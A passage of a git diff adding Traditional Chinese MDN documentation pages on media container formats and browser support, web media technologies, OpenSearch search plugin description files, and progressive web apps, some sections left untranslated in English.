+   <td>{{RFC(5334)}}</td>
+   <td>Defines the Ogg media types and file extensions</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.apple.com/library/archive/documentation/QuickTime/QTFF/QTFFPreface/qtffPreface.html">QuickTime File Format Specification</a></td>
+   <td>Defines the QuickTime movie (MOV) format</td>
+  </tr>
+  <tr>
+   <td><a href="https://web.archive.org/web/20090417165828/http://www.kk.iij4u.or.jp/~kondo/wave/mpidata.txt">Multimedia Programming Interface and Data Specifications 1.0</a></td>
+   <td>The closest thing to an official WAVE specification</td>
+  </tr>
+  <tr>
+   <td><a href="https://docs.microsoft.com/en-us/windows/desktop/xaudio2/resource-interchange-file-format--riff-">Resource Interchange File Format</a> (used by WAV)</td>
+   <td>Defines the RIFF format; WAVE files are a form of RIFF</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.webmproject.org/docs/container/">WebM Container Guidelines</a></td>
+   <td>Guide for adapting Matroska for WebM</td>
+  </tr>
+  <tr>
+   <td><a href="https://matroska.org/technical/specs/index.html">Matroska Specifications</a></td>
+   <td>The specification for the Matroska container format upon which WebM is based</td>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/media-source/webm-byte-stream-format.html">WebM Byte Stream Format</a></td>
+   <td>WebM byte stream format for use with <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Container format name</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center; border-right: 2px solid #d4dde4;">Audio</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center;">Video</th>
+  </tr>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row" style="vertical-align: bottom;">3GP</th>
+   <td style="vertical-align: top;"><code>audio/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">ADTS (Audio Data Transport Stream)</th>
+   <td style="vertical-align: top;"><code>audio/aac</code></td>
+   <td style="vertical-align: top;"><code>.aac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">FLAC</th>
+   <td style="vertical-align: top;"><code>audio/flac</code></td>
+   <td style="vertical-align: top;"><code>.flac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: top;">MPEG-1 / MPEG-2 (MPG or MPEG)</th>
+   <td style="vertical-align: top;"><code>audio/mpeg</code></td>
+   <td style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td rowspan="2" style="vertical-align: top;"><code>video/mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><code>audio/mp3</code></td>
+   <td style="vertical-align: top;"><code>.mp3</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">MPEG-4 (MP4)</th>
+   <td style="vertical-align: top;"><code>audio/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4a</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4v</code><br>
+    <code>.m4p</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">Ogg</th>
+   <td style="vertical-align: top;"><code>audio/ogg</code></td>
+   <td style="vertical-align: top;"><code>.oga</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/ogg</code></td>
+   <td style="vertical-align: top;"><code>.ogv</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">QuickTime Movie (MOV)</th>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">—</td>
+   <td style="vertical-align: top;"><code>video/quicktime</code></td>
+   <td style="vertical-align: top;"><code>.mov</code></td>
+   <td style="vertical-align: top;">Safari</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WAV (Waveform Audiofile)</th>
+   <td style="vertical-align: top;"><code>audio/wav</code></td>
+   <td style="vertical-align: top;"><code>.wav</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WebM</th>
+   <td style="vertical-align: top;"><code>audio/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also"> See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li>{{HTMLElement("audio")}} and {{HTMLElement("video")}} elements</li>
+</ul>
diff --git a/files/zh-tw/web/media/formats/index.html b/files/zh-tw/web/media/formats/index.html
new file mode 100644
index 0000000000..9d4f181ae7
--- /dev/null
+++ b/files/zh-tw/web/media/formats/index.html
@@ -0,0 +1,88 @@
+---
+title: 'Media type and format guide: image, audio, and video content'
+slug: Web/Media/Formats
+tags:
+  - API
+  - Audio
+  - Codecs
+  - Containers
+  - File Types
+  - Files
+  - Filetypes
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Types
+  - Video
+  - Web
+  - formats
+translation_of: Web/Media/Formats
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</p>
+
+<p>Since nearly its beginning, the web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. The modern web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer.</p>
+
+<p><span class="seoSummary">This guide provides an overview of the media file types, {{Glossary("codec", "codecs")}}, and algorithms that may comprise media used on the web.</span> It also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="Images">Images</h3>
+
+<dl>
+ <dt><span style="display: none;"> </span><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></dt>
+ <dd>Covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Images_for_web_designers">Image file types for web designers</a></dt>
+ <dd>Fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.</dd>
+</dl>
+
+<h3 id="Media_file_types_and_codecs">Media file types and codecs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Containers">Media containers (file types)</a></dt>
+ <dd>A guide to the file types that contain media data. Some are audio-specific, while others may be used for either audio or combined audiovisual content such as movies. Includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Web audio codec guide</a></dt>
+ <dd>A guide to the audio codecs allowed for by the common media containers, as well as by the major browsers. Includes benefits, limitations, key specifications and capabilities, and use cases. It also covers each browser's support for using the codec in given containers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Web video codec guide</a></dt>
+ <dd>This article provides basic information about the video codecs supported by the major browsers, as well as some that are not commonly supported but that you might still run into. It also covers codec capabilities, benefits, limitations, and browser support levels and restrictions.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></dt>
+ <dd>When specifying the MIME type describing a media format, you can provide details using the <code>codecs</code> parameter as part of the type string. This guide describes the format and possible values of the <code>codecs</code> parameter for the common media types.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></dt>
+ <dd><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> doesn't use a container, but instead streams the encoded media itself from peer to peer using {{domxref("MediaStreamTrack")}} objects to represent each audio or video track. This guide discusses the codecs commonly used with WebRTC.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<h3 id="Concepts">Concepts</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Digital audio concepts</a></dt>
+ <dd>An introduction to how audio is converted into digital form and stored for use by computers. It explains basic concepts about how audio is sampled, as well as concepts such as sample rate, audio frames, and audio compression.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Digital video concepts</a></dt>
+ <dd>A guide to fundamental concepts involved with digital video as used on the web, including basics about color formats, chroma subsampling, how human perception influences video coding, and so forth.</dd>
+</dl>
+
+<h3 id="Tutorials_and_how-tos">Tutorials and how-tos</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning: Video and audio content</a></dt>
+ <dd>This tutorial introduces and details the use of media on the web.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats/Support_issues">Handling media support issues in web content</a></dt>
+ <dd>In this guide, we look at how to build web content that maximizes quality or performance while providing the broadest possible compatibility, by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.</dd>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you discover the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/zh-tw/web/media/index.html b/files/zh-tw/web/media/index.html
new file mode 100644
index 0000000000..1dd29d413f
--- /dev/null
+++ b/files/zh-tw/web/media/index.html
@@ -0,0 +1,64 @@
+---
+title: Web media technologies
+slug: Web/Media
+tags:
+  - 媒體技術
+  - 網頁
+  - 視訊
+  - 音效
+translation_of: Web/Media
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary">這些年來，網頁來表達，創作及運用視訊及音訊以至其他媒介的能力不斷上升。今時今日存在了 大量可供運用的API及HTML元件，DOM介面，及其他不止於 發揮傳統效果，還能與其他網頁層面的技術產生協同效應和真實地令人深刻銘記 的特效。本文列出不同的APIs和連結其詳細資料的超連結，希望你能認為這些資訊能幫你盡快純熟這些技術。</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>這些文章包括HTML特效，供ＨＴＭＬ媒體開發者參考。</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd><code>&lt;audio&gt;</code> 元件，這是用來在網頁裡播放音效。此元件能　不被看見地運用來 作為一個 供更多其他繁雜的媒介放置的 位置。當然，也能放置一些可看見的控制器予用家來控制是否重播這些音訊。</dd>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dd><code>&lt;video&gt;</code> 元件，這是一個為了視訊內容在網頁裡播放的端點(endpoint)．它能被簡單地只用作表現視訊，或者用作一個位置來放置即時視訊內容(streamed video).<code>&lt;video&gt;也能被用作一個途徑來連結媒介APIs和其他HTML及DOM技術,當中包括</code> {{HTMLElement("canvas")}} (這是作 frame grabbing(?) 和其管控).</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>這是一個參考資料，關於串流，記錄，管控媒體資料，無論是本地的，透過網路的。這些包括本地的攝錄機及來捕流視訊，音效或圖像的麥克風。</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>你可以藉由此API產出、篩選及操作即時的聲音或是預先錄製好的材料，然後將音效送至<code>&lt;audio&gt;</code>元件、影音串流或是儲存起來。</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (網頁即時通訊)能夠即時地串流影音，也能夠透過網際網路將兩個人的訊息資料互相傳遞，而不需要任何媒介。</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="指南">指南</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">網頁傳播媒體的概述</a></dt>
+ <dd>支援影音撥放，操作與紀錄的網頁科技與API的概論。如果你不知道該使用哪一個API，請從這裡開始。</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/zh-tw/web/opensearch/index.html b/files/zh-tw/web/opensearch/index.html
new file mode 100644
index 0000000000..36fe253620
--- /dev/null
+++ b/files/zh-tw/web/opensearch/index.html
@@ -0,0 +1,179 @@
+---
+title: 製作 OpenSearch 搜尋模組
+slug: Web/OpenSearch
+tags:
+  - 待翻譯
+  - 搜尋模組
+translation_of: Web/OpenSearch
+---
+<div>{{AddonSidebar}}</div>
+
+<p><a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">OpenSearch 描述語法</a>敘述了搜尋引擎，以便網站用戶透過瀏覽器或其他用戶端程式使用之。OpenSearch 支援最新版的 Firefox、Internet Explorer、Safari、Chrome.</p>
+
+<p>Firefox 還支援搜尋建議與 <code>&lt;SearchForm&gt;</code> 元素……等 OpenSearch 標準內尚未包含的功能。這篇文章會聚焦在如何撰寫可支援 Firefox 特殊功能、且和 OpenSearch 格式相容的搜尋套件。</p>
+
+<p>OpenSearch 描述檔能由網站<a href="#.E8.87.AA.E5.8B.95.E6.B8.AC.E7.9F.A5.E6.90.9C.E5.B0.8B.E6.A8.A1.E7.B5.84">自動提示安裝</a>，或是藉<a href="/zh-tw/%e5%be%9e%e7%b6%b2%e9%a0%81%e5%ae%89%e8%a3%9d%e6%90%9c%e5%b0%8b%e6%a8%a1%e7%b5%84">從網頁安裝搜尋模組</a>中描述的方式安裝。</p>
+
+<h2 id="OpenSearch_描述檔">OpenSearch 描述檔</h2>
+
+<p>這個描述搜尋引擎的 XML 檔其實很簡單，參考下面的基本樣板，以斜體標示的部分則依需求修改即可。</p>
+
+<pre class="brush: xml">&lt;OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"
+                       xmlns:moz="http://www.mozilla.org/2006/browser/search/"&gt;
+  &lt;ShortName&gt;<mark><strong>SNK</strong></mark>&lt;/ShortName&gt;
+  &lt;Description&gt;<mark><strong>Search engine full name and summary</strong></mark>&lt;/Description&gt;
+  &lt;InputEncoding&gt;<mark><strong>UTF-8</strong></mark>&lt;/InputEncoding&gt;
+  &lt;Image width="16" height="16" type="image/x-icon"&gt;<mark><strong>data:image/x-icon;base64,AAABAAEAEBAAA ...</strong></mark>&lt;/Image&gt;
+  &lt;Url type="text/html" template="<mark><strong>searchURL</strong></mark>"&gt;
+    &lt;Param name="<mark><strong>key name</strong></mark>" value="{searchTerms}"/&gt;
+    ...
+    &lt;Param name="<mark><strong>key name</strong></mark>" value="<mark><strong>parameter value</strong></mark>"/&gt;
+  &lt;/Url&gt;
+  &lt;Url type="application/x-suggestions+json" template="<mark><strong>suggestionURL</strong></mark>"/&gt;
+  &lt;moz:SearchForm&gt;<mark><strong>http://example.com/search</strong></mark>&lt;/moz:SearchForm&gt;
+&lt;/OpenSearchDescription&gt;</pre>
+
+<dl>
+ <dt>ShortName</dt>
+ <dd>搜尋引擎簡稱</dd>
+ <dd><strong>Restrictions:</strong> The value must contain 16 or fewer characters of plain text. The value must not contain HTML or other markup.</dd>
+</dl>
+
+<dl>
+ <dt>Description</dt>
+ <dd>搜尋引擎的簡要描述</dd>
+ <dd><strong>Restrictions:</strong> The value must contain 1024 or fewer characters of plain text. The value must not contain HTML or other markup.</dd>
+</dl>
+
+<dl>
+ <dt>InputEncoding</dt>
+ <dd>搜尋引擎資料輸入時的編碼方式，例如說：<code>&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;</code>。</dd>
+</dl>
+
+<dl>
+ <dt>Image</dt>
+ <dd>
+ <p>URI to an icon representative of the search engine. When possible, search engines should offer a 16×16 image of type "image/x-icon" and a 64×64 image of type <code>image/jpeg</code> or <code>image/png</code>. The URI may also use the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs"><code>data:</code> URI scheme</a>. You can generate a <code>data:</code> URI from an icon file at <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The <code>data:</code> URI kitchen</a>.</p>
+
+ <pre class="brush: xml">&lt;Image height="16" width="16" type="image/x-icon"&gt;https://example.com/favicon.ico&lt;/Image&gt;
+  &lt;!-- or --&gt;
+&lt;Image height="16" width="16"&gt;data:image/x-icon;base64,AAABAAEAEBAAA ... DAAA=&lt;/Image&gt;
+</pre>
+
+ <p>Firefox caches the icon as a <a href="https://en.wikipedia.org/wiki/Base64">base64</a> <code>data:</code> URI (search plug-ins are stored in the profile's "searchplugins" folder). <code>http:</code> URIs are changed to <code>data:</code> URIs when this is done.</p>
+
+ <div class="note"><strong>Note:</strong> For icons loaded remotely (i.e. from <code>https://</code> URIs as opposed to <code>data:</code> URIs), Firefox will reject icons larger than 10 kilobytes in size.</div>
+
+ <p><img alt="Search suggestions from Google displayed in Firefox's search box" class="internal" src="/@api/deki/files/358/=SearchSuggestionSample.png"></p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><strong>Url</strong></dt>
+ <dd>描述搜尋用的 URL。以 <code>template</code> 屬性指定其搜尋 URL。</dd>
+ <dd>Firefox 支援以下型態的 URL：
+ <ul>
+  <li><code>type="text/html"</code>，即是搜尋用的 URL。</li>
+  <li><code>type="application/x-suggestions+json"</code>，用以取回「搜尋建議」的 URL。</li>
+ </ul>
+
+ <ul>
+  <li><code>type="application/x-moz-keywordsearch"</code> specifies the URL used when a keyword search is entered in the location bar. This is supported only in Firefox.</li>
+ </ul>
+
+ <ul>
+ </ul>
+
+ <p>這些型態的 URL 都可以使用 <code>{searchTerms}</code> 字串來決定要關鍵字於 URL 中的位置，其他可用的參數請參考<a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1/Draft_3#OpenSearch_1.1_parameters">OpenSearch 1.1 參數規格</a>。</p>
+
+ <p>在支援「搜尋建議」的模組中，搜尋的 URL 應可取回一組以 JSON 格式編寫的數據，提供這類服務的詳細方法請見<a href="/zh-tw/%e8%ae%93%e6%90%9c%e5%b0%8b%e6%a8%a1%e7%b5%84%e6%94%af%e6%8f%b4%e6%90%9c%e5%b0%8b%e5%bb%ba%e8%ad%b0">讓搜尋模組支援搜尋建議</a>。</p>
+ </dd>
+</dl>
+
+<p><img alt="Image:SearchSuggestionSample.png"></p>
+
+<dl>
+ <dt>Param</dt>
+ <dd>隨搜尋要求一併送出的參數，每組皆有參數名稱及其值。指定參數時可放入 <code>{searchTerms}</code> 字串來取得使用者輸入的搜尋關鍵字。</dd>
+</dl>
+
+<dl>
+ <dt>moz:SearchForm</dt>
+ <dd>搜尋網站的網址，提供 Firefox 使用者不搜尋、直接連到搜尋網站的方法。</dd>
+ <dd>
+ <div class="note"><strong>註：</strong> 由於此元素非 OpenSearch 標準規格而是 Firefox 獨有，故加上「<code>moz:</code>」名稱空間，已確保不支援的用戶端能直接跳過此元素。</div>
+ </dd>
+</dl>
+
+<h2 id="自動測知搜尋模組">自動測知搜尋模組</h2>
+
+<p>提供搜尋模組的網站能以「自動測知」的方式，讓 Firefox 使用者輕易安裝搜尋模組，增加使用率。</p>
+
+<p>只要在網頁的 <code>&lt;head&gt;</code> 區段內加上下一行就可以支援自動測知功能：</p>
+
+<pre class="brush: html">&lt;link rel="search"
+      type="application/opensearchdescription+xml"
+      title="<mark><strong>searchTitle</strong></mark>"
+      href="<mark><strong>pluginURL</strong></mark>"&gt;
+</pre>
+
+<p>如上所示地修改上面的<strong>粗體字</strong> :</p>
+
+<dl>
+ <dt><strong>searchTitle</strong></dt>
+ <dd>這是搜尋引擎的名稱，例如「Search MDC」或「雅虎搜尋」等。這個名稱應該與引擎名稱一樣。</dd>
+</dl>
+
+<dl>
+ <dt><strong>pluginURL</strong></dt>
+ <dd>瀏覽器可以下載的搜尋引擎 XML 檔案位置。</dd>
+</dl>
+
+<p>如果網站擁有多種搜尋模組，也可以讓它們全部支援自動測知。例如：</p>
+
+<pre class="brush: html">&lt;link rel="search" type="application/opensearchdescription+xml"
+      title="MySite: By Author" href="http://example.com/mysiteauthor.xml"&gt;
+
+&lt;link rel="search" type="application/opensearchdescription+xml"
+      title="MySite: By Title" href="http://example.com/mysitetitle.xml"&gt;
+</pre>
+
+<p>這樣，網站就能提供以作者或以標題，作為搜尋獨立實體的模組。</p>
+
+<h2 id="讓_OpenSearch_套件自動更新">讓 OpenSearch 套件自動更新</h2>
+
+<p>只要在 <code>Url</code> 元素添加額外的
+ <code>application/opensearchdescription+xml</code> type 屬性，OpenSearch 套件就可以自動更新。<code>rel</code> 屬性需要是 <code>self</code>、要自動更新的 template 則需要是屬於 OpenSearch 文件的 URL。</p>
+
+<p>例如說：</p>
+
+<pre class="brush: xml">&lt;Url type="application/opensearchdescription+xml"
+     rel="self"
+     template="http://example.com/mysearchdescription.xml" /&gt;
+</pre>
+
+<div class="note"><strong>註：</strong>目前的<a class="external" href="http://addons.mozilla.org">addons.mozilla.org</a>（AMO）不支援自動更新 OpenSearch 套件。如果要把搜尋套件放到 AMO，請不要用上自動更新的功能。</div>
+
+<h2 id="除錯技巧">除錯技巧</h2>
+
+<p>如果搜尋套件 XML 發生錯誤，you could run into errors when adding a discovered plugin。如果錯誤訊息沒有用，以下技巧能幫忙找出問題。</p>
+
+<ul>
+ <li>供應伺服器 OpenSearch 套件服務的伺服器必須使用 <code>Content-Type: application/opensearchdescription+xml</code>。</li>
+ <li>確認搜尋套件 XML 的格式正確。你可以直接用 Firefox 載入該檔案。template URL 的 &amp; 符號需要像 <code>&amp;amp;</code> 這樣跳脫，標籤也要用正斜線或 end tag 關閉。</li>
+ <li><code>xmlns</code> 屬性很重要，少了它就會出現「Firefox could not download the search plugin」的錯誤訊息。</li>
+ <li>你<strong>必須</strong>包含 <code>text/html</code> URL：搜尋套件只包含 Atom 或 <a href="/zh-TW/RSS">RSS</a> URL 類型（雖然它有效，但 Firefox 不支援）都可能發生「could not download the search plugin」錯誤。</li>
+ <li>遠端擷取的小圖標（favicon）不能大於 10KB(請參見 {{ Bug(361923) }}）。</li>
+</ul>
+
+<p>In addition, the search plugin service provides a logging mechanism that may be of use to plugin developers. Use <code>about:config</code> to set the pref '<code>browser.search.log</code>' to <code>true</code>. Logging information will appear in Firefox's <a href="/zh-TW/Error_Console">Error Console</a> (Tools 〉 Error Console) when search plugins are added.</p>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a class="external" href="http://opensearch.org/">OpenSearch Documentation</a>, <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/Extensions/Parameter/1.0">OpenSearch Documentation about the Url and Param element</a></li>
+ <li>imdb.com has a <a class="external" href="http://i.media-imdb.com/images/SFccbe1e4d909ef8b8077201c3c5aac349/imdbsearch.xml">working osd.xml</a></li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Data:_URI_scheme"><code>data:</code> URI scheme</a></li>
+ <li><a class="external" href="http://www.7is7.com/software/firefox/opensearch.html">OpenSearch Plugin Generator</a></li>
+ <li><a class="external" href="http://ready.to/search/en">Ready2Search</a> - create OpenSearch plugins. <a class="external" href="http://ready.to/search/make/en_make_plugin.htm">Customized Search through Ready2Search</a></li>
+</ul>
diff --git a/files/zh-tw/web/progressive_web_apps/index.html b/files/zh-tw/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..df63a8de90
--- /dev/null
+++ b/files/zh-tw/web/progressive_web_apps/index.html
@@ -0,0 +1,77 @@
+---
+title: 漸進式網絡應用程式
+slug: Web/Progressive_web_apps
+tags:
+  - Apps
+  - Modern web apps
+  - NeedsTranslation
+  - Progressive web apps
+  - TopicStub
+translation_of: Web/Progressive_web_apps
+---
+<p class="summary">漸進式網絡應用程式（Progressive web app）使用當代 web API，並以漸進增強策略，建立跨平台 web 應用程式。 這些程式提供了能讓用戶體驗，逼近於原生程式的功能。這套文件將講述你需要知道的一切。</p>
+
+<h2 id="PWA_優勢">PWA 優勢</h2>
+
+<p>PWA 應該要可探索、可安裝、可連結、可獨立於網路、可漸進、可接合、響應式、以及安全（discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, safe）。需要有關這方面的理解，請參閱<a href="/zh-TW/docs/Web/Apps/Progressive/Advantages">漸進式網絡應用程式的優勢</a>。如果需要實作細節，請參考以下章節表列的教學。</p>
+
+<h2 id="PWA_核心教學">PWA 核心教學</h2>
+
+<p>以下教學將以簡單例子告訴你，在實作 PWA 時所需要的東西，並講述一切如何運行。</p>
+
+<ol>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Introduction">漸進式網絡應用程式簡介</a></li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/App_structure">漸進式網絡應用程式架構</a></li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Offline_Service_workers">使用 Service worker 讓 PWA 能離線工作</a></li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Installable_PWAs">如何令 PWA 可安裝</a></li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Re-engageable_Notifications_Push">如何使用 Notifications 與 Push 令 PWA 可重連線</a></li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Loading">漸進式載入</a></li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="技術教學">技術教學</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">用戶端儲存</a>：展示如何與何時使用 web storage、IndexedDB、service worker 的長篇教學。</li>
+ <li><a href="/zh-TW/docs/Web/API/Service_Worker_API/Using_Service_Workers">使用 service worker</a>：涵蓋 Service Worker API 的深入教學</li>
+ <li><a href="/zh-TW/docs/Web/API/IndexedDB_API/Using_IndexedDB">使用 IndexedDB</a>：詳細解釋 IndexedDB 的基礎。</li>
+ <li><a href="/zh-TW/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">使用 Web Storage API</a>：讓 Web storage API 變得簡單。</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Instant Loading Web Apps with An Application Shell Architecture</a>：使用 App Shell 程式模式加快 app 的載入速度。</li>
+ <li><a href="/zh-TW/docs/Web/API/Push_API/Using_the_Push_API">使用 Push API</a>：了解 Web Push API 所需的一切。</li>
+ <li><a href="/zh-TW/docs/Web/API/Notifications_API/Using_the_Notifications_API">使用 Notifications API</a>：web notification 簡介。</li>
